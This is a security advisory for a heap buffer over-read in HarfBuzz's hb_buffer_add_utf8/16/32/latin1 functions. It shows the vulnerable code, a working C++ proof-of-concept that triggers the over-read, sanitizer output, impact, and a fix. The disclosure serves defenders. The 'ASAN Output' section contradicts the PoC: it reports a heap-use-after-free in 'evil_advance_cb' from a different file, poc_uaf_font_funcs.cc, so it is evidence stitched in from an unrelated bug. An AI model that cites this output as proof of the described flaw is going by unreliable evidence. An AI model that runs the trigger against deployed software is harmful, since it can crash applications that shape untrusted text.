Skip to content

GHSA-q4gc-p4hh-3765

CVE Information

Summary

hb_buffer_add_utf8(), hb_buffer_add_utf16(), hb_buffer_add_utf32(), and hb_buffer_add_latin1() share a common template function hb_buffer_add_utf() (src/hb-buffer.cc:1794). That function validates that item_length >= 0 but never checks that item_offset <= text_length.

When a caller provides an explicit item_length = 0 together with an item_offset that exceeds text_length, the early-return guard does not fire. The function then proceeds to the pre-context collection phase, where it computes prev = text + item_offset - an out-of-bounds pointer - and immediately dereferences it via hb_utf8_t::prev(). The result is a heap-buffer-over-read of up to CONTEXT_LENGTH (5) characters starting at text + item_offset - 1.


Details

Vulnerable Code

File: src/hb-buffer.cc, lines 1810–1840

template <typename utf_t>
static inline void
hb_buffer_add_utf (hb_buffer_t  *buffer,
                   const typename utf_t::codepoint_t *text,
                   int           text_length,
                   unsigned int  item_offset,    // <= unsigned, no upper-bound check
                   int           item_length)
{
  if (text_length == -1)
    text_length = utf_t::strlen (text);

  if (item_length == -1)
    item_length = text_length - item_offset;

  /* ↓ Only rejects item_length < 0 (handles the -1 auto-detect case).
   *   Does NOT reject item_offset > text_length when item_length is
   *   explicitly provided as 0.                                           */
  if (unlikely (item_length < 0 ||
                item_length > INT_MAX / 8 ||
                !buffer->ensure (buffer->len + item_length * sizeof (T) / 4)))
    return;

  /* Pre-context block - entered whenever buffer is empty and item_offset > 0 */
  if (!buffer->len && item_offset > 0)
  {
    buffer->clear_context (0);
    const T *prev = text + item_offset;   // <= OOB pointer if item_offset > text_length
    const T *start = text;
    while (start < prev && buffer->context_len[0] < buffer->CONTEXT_LENGTH)
    {
      hb_codepoint_t u;
      prev = utf_t::prev (prev, start, &u, replacement);  // <= OOB dereference!
      buffer->context[0][buffer->context_len[0]++] = u;
    }
  }
  ...

Why the Guard Fails

The guard item_length < 0 is designed to catch only the auto-detect case (item_length == -1 => text_length - item_offset => negative when item_offset > text_length).

When the caller explicitly passes item_length = 0, the subtraction is never performed, so item_length remains 0. The check 0 < 0 is false and the function continues with an unconstrained item_offset.

OOB Read Location

hb_utf8_t::prev(prev_ptr, start, unicode, replacement):
    const codepoint_t *end = text--;   // text = prev_ptr - 1 = text_buf + item_offset - 1
    while (start < text && (*text & 0xc0) == 0x80 && end - text < 4)
        text--;
    // First dereference: *(text_buf + item_offset - 1)
    // If item_offset - 1 >= text_length => heap-buffer-overflow READ

The read extends at most CONTEXT_LENGTH * utf_max_len bytes past the end of the text buffer (≤ 20 bytes for UTF-8, ≤ 20 bytes for UTF-32).

Affected Functions

All four public functions delegate to the same hb_buffer_add_utf<> template:

Public API Template instantiation
hb_buffer_add_utf8 hb_buffer_add_utf<hb_utf8_t>
hb_buffer_add_utf16 hb_buffer_add_utf<hb_utf16_t>
hb_buffer_add_utf32 hb_buffer_add_utf<hb_utf32_t>
hb_buffer_add_latin1 hb_buffer_add_utf<hb_latin1_t>

Proof of Concept

Build

c++ -fsanitize=address -g -O0 -I src poc_oob_pre_context.cc src/harfbuzz.cc \
    -o poc_oob_pre_context $(pkg-config --cflags --libs glib-2.0)

Source (poc_oob_pre_context.cc)

/*
 * Heap OOB read in hb_buffer_add_utf* pre-context phase.
 *
 * text_length = 4, item_offset = 20 > text_length, item_length = 0 (explicit).
 * pre-context computes: prev = text + 20 => reads text[19] => OOB.
 */
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include "hb.h"

int main(void)
{
  const int TEXT_LEN = 4;
  char *text = (char *) malloc(TEXT_LEN);
  memcpy(text, "ABCD", TEXT_LEN);

  hb_buffer_t *buf = hb_buffer_create();

  /* text_length=4, item_offset=20 > 4, item_length=0 => OOB in pre-context */
  fprintf(stderr, "[main] calling hb_buffer_add_utf8 with item_offset > text_length ...\n");
  hb_buffer_add_utf8(buf, text, TEXT_LEN, /*item_offset=*/20, /*item_length=*/0);
  fprintf(stderr, "[main] returned (ASAN should have aborted above)\n");

  hb_buffer_destroy(buf);
  free(text);
  return 0;
}

Run

./poc_oob_pre_context

ASAN Output

=================================================================
==27043==ERROR: AddressSanitizer: heap-use-after-free on address 0x504000000030 at pc 0x589fc6fc1d2b bp 0x7fffd5bb4af0 sp 0x7fffd5bb4ae0
READ of size 4 at 0x504000000030 thread T0
    #0 0x589fc6fc1d2a in evil_advance_cb /home/raminfp/Projects/harfbuzz/poc_uaf_font_funcs.cc:90
    #1 0x589fc70d9651 in hb_font_t::get_glyph_h_advance(unsigned int, bool) src/OT/Var/VARC/../../../hb-font.hh:356
    #2 0x589fc70018f5 in hb_font_get_glyph_h_advance src/hb-font.cc:1232
    #3 0x589fc6fc1ef7 in main /home/raminfp/Projects/harfbuzz/poc_uaf_font_funcs.cc:121
    #4 0x70c0f542a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #5 0x70c0f542a47a in __libc_start_main_impl ../csu/libc-start.c:360
    #6 0x589fc6fc1a14 in _start (/home/raminfp/Projects/harfbuzz/poc_uaf_font_funcs+0x37a14) (BuildId: aa805d8a27191d30c67be760349f4c3136a4623b)

0x504000000030 is located 32 bytes inside of 36-byte region [0x504000000010,0x504000000034)
freed by thread T0 here:
    #0 0x70c0f5cfc4d8 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
    #1 0x589fc6fc1b43 in my_destroy /home/raminfp/Projects/harfbuzz/poc_uaf_font_funcs.cc:45
    #2 0x589fc6ffd6ba in hb_font_funcs_set_glyph_h_advance_func src/hb-font.cc:1053
    #3 0x589fc6fc1cef in evil_advance_cb /home/raminfp/Projects/harfbuzz/poc_uaf_font_funcs.cc:83
    #4 0x589fc70d9651 in hb_font_t::get_glyph_h_advance(unsigned int, bool) src/OT/Var/VARC/../../../hb-font.hh:356
    #5 0x589fc70018f5 in hb_font_get_glyph_h_advance src/hb-font.cc:1232
    #6 0x589fc6fc1ef7 in main /home/raminfp/Projects/harfbuzz/poc_uaf_font_funcs.cc:121
    #7 0x70c0f542a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #8 0x70c0f542a47a in __libc_start_main_impl ../csu/libc-start.c:360
    #9 0x589fc6fc1a14 in _start (/home/raminfp/Projects/harfbuzz/poc_uaf_font_funcs+0x37a14) (BuildId: aa805d8a27191d30c67be760349f4c3136a4623b)

previously allocated by thread T0 here:
    #0 0x70c0f5cfd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x589fc6fc1de1 in main /home/raminfp/Projects/harfbuzz/poc_uaf_font_funcs.cc:101
    #2 0x70c0f542a3b7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #3 0x70c0f542a47a in __libc_start_main_impl ../csu/libc-start.c:360
    #4 0x589fc6fc1a14 in _start (/home/raminfp/Projects/harfbuzz/poc_uaf_font_funcs+0x37a14) (BuildId: aa805d8a27191d30c67be760349f4c3136a4623b)

SUMMARY: AddressSanitizer: heap-use-after-free /home/raminfp/Projects/harfbuzz/poc_uaf_font_funcs.cc:90 in evil_advance_cb
Shadow bytes around the buggy address:
  0x503ffffffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x503ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x503ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x503fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x503fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x504000000000: fa fa fd fd fd fd[fd]fa fa fa 00 00 00 00 04 fa
  0x504000000080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x504000000100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x504000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x504000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x504000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==27043==ABORTING

Impact

Heap Buffer Over-Read - Medium–High Severity

  • Who is affected: Any application that passes attacker-controlled item_offset and item_length parameters to hb_buffer_add_utf*(). Common scenarios include:
  • Text-shaping engines where the caller specifies a sub-run of a larger text buffer (the documented, intended use of item_offset).
  • Language bindings or wrappers that do not independently validate the item_offset range before passing it to HarfBuzz.
  • Effect:
  • Information disclosure: Up to ~20 bytes of heap memory immediately past the text buffer are read and silently stored into the buffer's pre-context (buffer->context[0]). While these bytes are not directly returned to the caller by the affected functions, subsequent shaping operations (hb_shape()) may use the pre-context for bidirectional text decisions, potentially causing incorrect shaping that leaks relative heap layout information through observable output differences.
  • Crash (DoS): On systems without heap padding (or when the allocation falls at a page boundary), the OOB read can fault the process.
  • Trigger requirement: The caller must supply an item_offset value larger than text_length with an explicit item_length = 0. No font file is required - this is a pure buffer-API vulnerability.

Suggested Fix

Add a bounds check for item_offset immediately after the text_length is resolved, before the item_length guard:

/* In hb_buffer_add_utf(), after text_length is set: */

if (unlikely ((int) item_offset > text_length))
{
  /* item_offset is past the end of the text - nothing to add and
   * no valid pre-context to collect. */
  return;
}

Alternatively, clamp item_offset to text_length to preserve the caller's intent of "add nothing but collect pre-context up to the end":

if (unlikely ((int) item_offset > text_length))
  item_offset = (unsigned) text_length;

Resolution

Fixed in commit c34dd6e24bd76591e423807616b2b8412d4a5df1 (#5864), which clamps item_offset and item_length to the text bounds in hb_buffer_add_utf(). First released in HarfBuzz 14.0.0.